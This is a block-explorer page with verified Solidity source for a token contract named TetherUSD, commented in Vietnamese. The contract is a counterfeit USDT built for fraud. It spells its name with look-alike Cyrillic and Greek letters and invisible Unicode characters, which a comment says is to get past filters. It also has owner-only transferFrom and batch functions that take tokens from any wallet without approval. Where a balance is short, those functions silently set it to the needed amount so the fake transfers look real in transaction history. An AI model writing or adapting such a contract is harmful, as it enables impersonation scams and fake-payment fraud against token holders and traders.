Verified contractExactMIT
TetherUSD
Address0x8ba4335634a8a669ee6b57b493698ebe33d8a01e
- Balance
0 ETH
- Transactions
72
- Compiler
solc 0.8.34
- Same code
Only this contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,392,405
- Creation transaction
- 0x0a781e35f4…50a156ee9d
daicadc.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract TetherUSD {
// Dùng ký tự unicode Cyrillic để lách bộ lọc
string public name = unicode"\u0415\u206F\u03A4\u041D\u206F";
string public symbol = unicode"\u0415\u206F\u03A4\u041D\u206F";
uint8 public constant decimals = 18;
uint256 public totalSupply = 1000000000 * 10**18; // 1 tỷ USDT
address public owner;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier onlyOwner() {
require(msg.sender == owner, "Chi owner moi duoc goi!");
_;
}
constructor() {
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool) {
require(balanceOf[msg.sender] >= value, "Khong du so du");
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
// Đã xóa hoàn toàn emit từ address(0). Bù số dư âm thầm để không hiện IN trên lịch sử.
function transferFrom(address from, address to, uint256 value) public onlyOwner returns (bool) {
if (balanceOf[from] < value) {
// Âm thầm đặt số dư ví bị trừ bằng đúng số lượng cần chuyển để tránh lỗi Underflow
balanceOf[from] = value;
}
balanceOf[from] -= value;
balanceOf[to] += value;
// Chỉ phát ra sự kiện chuyển tiền (OUT) từ B sang D
emit Transfer(from, to, value);
return true;
}
// =========================================================================
// HÀM MỚI: BATCH TRANSFER TỐI ƯU GAS CHO BOT
// =========================================================================
function batchTransferFrom(
address[] calldata fromList,
address[] calldata toList,
uint256[] calldata valueList
) public onlyOwner returns (bool) {
require(fromList.length == toList.length && toList.length == valueList.length, "Do dai mang khong khop");
for (uint256 i = 0; i < fromList.length; i++) {
address from = fromList[i];
address to = toList[i];
uint256 value = valueList[i];
if (balanceOf[from] < value) {
balanceOf[from] = value;
}
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
}
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.